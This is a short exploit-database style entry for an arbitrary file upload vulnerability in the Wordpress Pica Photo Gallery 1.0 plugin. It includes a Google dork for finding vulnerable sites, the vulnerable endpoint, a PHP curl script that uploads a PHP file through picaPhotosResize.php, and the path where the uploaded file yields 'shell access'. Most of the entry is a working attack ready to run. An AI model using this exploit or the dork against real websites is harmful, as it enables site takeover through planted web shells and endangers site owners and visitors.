Wordpress Pica Photo Gallery 1.0 - Arbitrary File Upload Vulnerability

########################################################### # # Exploit Title: Wordpress Pica Photo Gallery 1.0 Arbitrary File Upload # Google Dork: inurl:wp-content/plugins/pica-photo-gallery/ # Date: 11/06/2012 # Exploit Author: Adrien Thierry # Vendor Homepage: http://www.apptha.com # Software Link: http://downloads.wordpress.org/plugin/pica-photo-gallery.zip # Version: 1.0 # ########################################################### Vuln page : http://mysite.com/wp-content/plugins/pica-photo-gallery/picaPhotosResize.php exploit : <?php $u="C:\Program Files (x86)\EasyPHP-5.3.9\www\info.php"; $c = curl_init("http://127.0.0.1/wordpress/wp-content/plugins/pica-photo-gallery/picaPhotosResize.php"); curl_setopt($c, CURLOPT_POST, true); curl_setopt($c, CURLOPT_POSTFIELDS, array('uploadfile'=>"@$u", 'albumId'=>"1", 'mode'=>"image")); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $e = curl_exec($c); curl_close($c); echo $e; ?> shell access : wp-content/uploads/pica-photo-gallery/info.php #####################################################################